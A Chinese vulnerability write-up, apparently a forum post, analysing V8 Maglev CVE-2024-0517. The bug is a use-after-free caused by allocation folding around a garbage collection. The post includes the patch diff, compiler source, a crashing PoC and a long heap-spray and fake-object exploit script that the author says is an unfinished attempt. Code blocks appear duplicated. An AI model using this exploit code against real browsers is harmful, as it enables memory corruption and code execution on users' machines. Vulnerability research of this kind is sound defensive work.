这个漏洞发生在 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct
函数中,考虑之前分析的 CVE-2023-4069
也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发 gc
,从而导致 UAF
还是从 patch 入手:
可以看到补丁代码非常简单,就是添加了个 ClearCurrentRawAllocation
函数:
该函数的功能为将 current_raw_allocation_
指针清空
这里补丁代码打在了 TryBuildFindNonDefaultConstructorOrConstruct
函数中,其上层调用链为:
而 VisitFindNonDefaultConstructorOrConstruct
其实我们在之前分析 CVE-2023-4069
时就详细分析过,其主要就是处理 FindNonDefaultConstructorOrConstruct
节点的,但是这里还是放一下代码分析吧:
这里会先调用 TryBuildFindNonDefaultConstructorOrConstruct
尝试进行图创建:
可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用 new_target.initial
直接进行对象创建,慢速路径则退回到内建函数 FastNewObject
,这里我们主要看快速路径,快速路径为 【1】->【2】->【3】
,而 【3】
也是漏洞代码所在处,所以需要满足以下条件:
这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入 CheckValue
节点绕过,第三个就不多说了,new_target
是派生构造函数即可,或者顶层默认构造函数也????,比较简单
最后为分配对象的语句如下,也是漏洞代码所在处:
然后跟进 BuildAllocateFastObject
,看其是如何创建对象的:
这里可以看到分配空间调用了 ExtendOrReallocateCurrentRawAllocation
函数,其会尝试折叠分配:
先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:
而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:
这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在 JavaScript
中,内存是由 gc
进行管理的,在 V8
中,没有被 root object
直接或间接引用的对象被标记为死对象,在触发 gc
时会被回收。所以考虑如下场景:
而如果此时发生分配折叠优化:
这里的问题就是在分配完空间后,只对 obj1
的部分进行了初始化,而 obj2
的初始化则是在后面,那么如果在初始化 obj2
之前触发了 gc
,那么此时 current_raw_allocation_+0x10
这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面 do something2
时,仍然使用 current_raw_allocation_+0x10
,则导致 UAF
让我们回到该漏洞分析中,通过上面的分析我们可以知道:
poc
如下:
这里先来看下 Maglev IR
: 调试分析下:
this
对象的地址为 0x2bca002ba4d5
,instance_size = 12
,与 Maglev IR
图是吻合的: 然后程序就 crash
了: 从调用栈中的函数名称可以知道,明显触发了 gc
,而这里 rsi
的值为一个 ---
地址,所以发生内存访问错误。这里我们来看下 this
对象下方的内存: 这里我们换个角度看:0x2bca002ba4d5-1 = this_addr
==> o_addr = this_addr+12
看到这里其实就明白了,最开始分配了 84 字节的空间,减去 this
对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了 o
对象本身的空间和其 elements
占据的空间 而这段空间在 o
对象初始化之前在 gc
的过程中被释放了,然后又被其它对象占据了,所以在 o
初始化这段空间时就发生了 UAF
,即把其它对象内容给覆盖了,所以后面的 rsi
为 0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999
,这里的 0x3ff19999
就是 1.1
的头 4 字节
嗯,,,笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制 gc
,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的 expliot
吧,主要是这里的 gc
搞得我很烦,还是太菜了~~~ ======================== 后续 ================================ 写利用写了两天,但是还是没写出来,gc
后似乎拿不到指定的内存,主要是 victim
始终在 this
对象的上方,不知道为啥,看参考文章说其应该在下方~~~太菜了,然后不想在继续浪费时间了,后面有灵感了在回来写利用,暂时留个坑 失败的 exploit
:
如有读者能够写出稳定的利用,希望不吝赐教 ================================== 更新 =================== 最后根据公开的 exp
并与 toka
✌一起写出了 exploit
:
通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:
总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞
Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient
sync
-D
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient
sync
-D
diff
--git a
/src/maglev/maglev-graph-builder
.cc b
/src/maglev/maglev-graph-builder
.cc
index ad7eccf..3dd3df5 100644
--- a
/src/maglev/maglev-graph-builder
.cc
+++ b
/src/maglev/maglev-graph-builder
.cc
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
}
else
{
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
diff
--git a
/src/maglev/maglev-graph-builder
.cc b
/src/maglev/maglev-graph-builder
.cc
index ad7eccf..3dd3df5 100644
--- a
/src/maglev/maglev-graph-builder
.cc
+++ b
/src/maglev/maglev-graph-builder
.cc
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
}
else
{
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
void
MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}
void
MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}
VisitFindNonDefaultConstructorOrConstruct
TryBuildFindNonDefaultConstructorOrConstruct
VisitFindNonDefaultConstructorOrConstruct
TryBuildFindNonDefaultConstructorOrConstruct
void
MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
auto
register_pair = iterator_.GetRegisterPairOperand(2);
if
(TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return
;
}
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
StoreRegisterPair(register_pair, result);
}
void
MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
auto
register_pair = iterator_.GetRegisterPairOperand(2);
if
(TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return
;
}
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
StoreRegisterPair(register_pair, result);
}
bool
MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
if
(!maybe_constant)
return
false
;
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());
while
(
true
) {
if
(!current.IsJSFunction())
return
false
;
compiler::JSFunctionRef current_function = current.AsJSFunction();
if
(current_function.shared(broker()).requires_instance_members_initializer()) {
return
false
;
}
if
(current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
return
false
;
}
FunctionKind kind = current_function.shared(broker()).kind();
if
(kind != FunctionKind::kDefaultDerivedConstructor) {
if
(!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return
false
;
}
compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
if
(kind == FunctionKind::kDefaultBaseConstructor) {
StoreRegister(result.first, GetBooleanConstant(
true
));
ValueNode* object;
if
(new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
}
else
{
object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
}
else
{
StoreRegister(result.first, GetBooleanConstant(
false
));
StoreRegister(result.second, GetConstant(current));
}
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return
true
;
}
current = current_function.map(broker()).prototype(broker());
}
}
bool
MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
if
(!maybe_constant)
return
false
;
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());
while
(
true
) {
if
(!current.IsJSFunction())
return
false
;
compiler::JSFunctionRef current_function = current.AsJSFunction();
if
(current_function.shared(broker()).requires_instance_members_initializer()) {
return
false
;
}
if
(current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
return
false
;
}
FunctionKind kind = current_function.shared(broker()).kind();
if
(kind != FunctionKind::kDefaultDerivedConstructor) {
if
(!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return
false
;
}
compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
if
(kind == FunctionKind::kDefaultBaseConstructor) {
StoreRegister(result.first, GetBooleanConstant(
true
));
ValueNode* object;
if
(new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
}
else
{
object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
}
else
{
StoreRegister(result.first, GetBooleanConstant(
false
));
StoreRegister(result.second, GetConstant(current));
}
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return
true
;
}
current = current_function.map(broker()).prototype(broker());
}
}
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for
(
int
i = 0; i < object.inobject_properties; ++i) {
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);
DCHECK(object.map.IsJSObjectMap());
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
BuildStoreReceiverMap(allocation, object.map);
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);
if
(object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
}
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
for
(
int
i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
}
return
allocation;
}
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for
(
int
i = 0; i < object.inobject_properties; ++i) {
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);
DCHECK(object.map.IsJSObjectMap());
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
BuildStoreReceiverMap(allocation, object.map);
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);
if
(object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
}
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
for
(
int
i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
}
return
allocation;
}
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int
size, AllocationType allocation_type) {
if
(!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new)
{
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return
current_raw_allocation_;
}
int
current_size = current_raw_allocation_->size();
if
(current_size + size > kMaxRegularHeapObjectSize) {
return
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
DCHECK_GT(current_size, 0);
int
previous_end = current_size;
current_raw_allocation_->extend(size);
return
AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int
size, AllocationType allocation_type) {
if
(!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new)
{
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return
current_raw_allocation_;
}
int
current_size = current_raw_allocation_->size();
if
(current_size + size > kMaxRegularHeapObjectSize) {
return
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
DCHECK_GT(current_size, 0);
int
previous_end = current_size;
current_raw_allocation_->extend(size);
return
AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
ptr1 = malloc(0x10)
do
something1
prt2 = malloc(0x20)
do
something2
ptr1 = malloc(0x10)
do
something1
prt2 = malloc(0x20)
do
something2
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do
something1
do
something2
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do
something1
do
something2
var obj1 = AllocateRaw(0x10);
do
something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do
something2 ==> use obj2
var obj1 = AllocateRaw(0x10);
do
something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do
something2 ==> use obj2
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do
something1 ==> trigger gc
init obj2
do
something2 ==> use obj2
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do
something1 ==> trigger gc
init obj2
do
something2 ==> use obj2
class A {}
class B extends A {
constructor() {
const check =
new
new
.target;
super
();
%DebugPrint(
this
);
let g =
new
Array(0x1000).fill(2.2);
let o = [1.1,1.1,1.1,1.1,1.1,1.1];
}
}
for
(let i = 0; i < 0x1000; i++) {
Reflect.construct(B, [], A);
}
class A {}
class B extends A {
constructor() {
const check =
new
new
.target;
super
();
%DebugPrint(
this
);
let g =
new
Array(0x1000).fill(2.2);
let o = [1.1,1.1,1.1,1.1,1.1,1.1];
}
}
for
(let i = 0; i < 0x1000; i++) {
Reflect.construct(B, [], A);
}
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
add_ref(obj) {
roots[index++] = obj;
}
var
gc_flag=
false
;
function
major_gc() {
if
(gc_flag) {
new
ArrayBuffer(0x7fe00000);
return
0;
}
return
1;
}
function
minor_gc() {
if
(gc_flag) {
for
(let i = 0; i < 8; i++) {
add_ref(
new
ArrayBuffer(0x200000));
}
add_ref(
new
ArrayBuffer(8));
return
2;
}
return
1;
}
function
hexx(str, val) {
console.log(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
var
spray_array =
new
Array(0xf700).fill(1.1);
var
element_start_addr = 0x00442139;
var
data_element_start_addr = element_start_addr + 7;
var
map_addr = data_element_start_addr + 0x1000;
var
fake_object_addr = map_addr + 0x1000;
var
element_map_addr = fake_object_addr + 0x200;
spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404);
spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);
var
str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);
print(
"fake_object_addr:"
, pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx(
"fake_object_addr"
, fake_object_addr+1);
hexx(
"element_map_addr"
, element_map_addr+1);
var
header = pair_u32_to_f64(element_map_addr+1, 0x40);
var
X = pair_u32_to_f64(str_addr+1, 1);
var
nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var
debug =
false
;
var
empty_object = {};
class A {}
class B extends A {
constructor() {
const check =
new
new
.target;
let v = [
empty_object,empty_object,empty_object,empty_object,
empty_object,empty_object,empty_object,empty_object,
];
super
();
let o = [
header, header, header, header,
X,X,X,X,X,X,X,X,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
header, header, header, header,
];
this
.o = o;
this
.v = v;
}
[100] = major_gc();
}
for
(let i = 0; i < 200; i++) {
if
(i % 2 == 0) gc_flag =
true
;
major_gc();
gc_flag =
false
;
}
var
w =
null
;
const N = 640;
const M = 644;
const S = 650;
var
block =
null
;
for
(let i = 0; i < S; i++) {
gc_flag =
false
;
if
(i == N || (M < i && i < M+4)) {
gc_flag =
true
;
major_gc();
gc_flag =
false
;
}
if
(i == M+3) {
gc_flag =
true
;
}
let r = Reflect.construct(B, [], A);
if
(i == M+3) w = r;
}
try
{
print(w.v[0]);
}
catch
(m) {
%DebugPrint(w[
'p'
]);
%DebugPrint(w);
}
print(
"END"
);
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
add_ref(obj) {
roots[index++] = obj;
}
var
gc_flag=
false
;
function
major_gc() {
if
(gc_flag) {
new
ArrayBuffer(0x7fe00000);
return
0;
}
return
1;
}
function
minor_gc() {
if
(gc_flag) {
for
(let i = 0; i < 8; i++) {
add_ref(
new
ArrayBuffer(0x200000));
}
add_ref(
new
ArrayBuffer(8));
return
2;
}
return
1;
}
function
hexx(str, val) {
console.log(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
var
spray_array =
new
Array(0xf700).fill(1.1);
var
element_start_addr = 0x00442139;
var
data_element_start_addr = element_start_addr + 7;
var
map_addr = data_element_start_addr + 0x1000;
var
fake_object_addr = map_addr + 0x1000;
var
element_map_addr = fake_object_addr + 0x200;
spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404);
spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2024-7-1 13:29
被XiaozaYa编辑
,原因: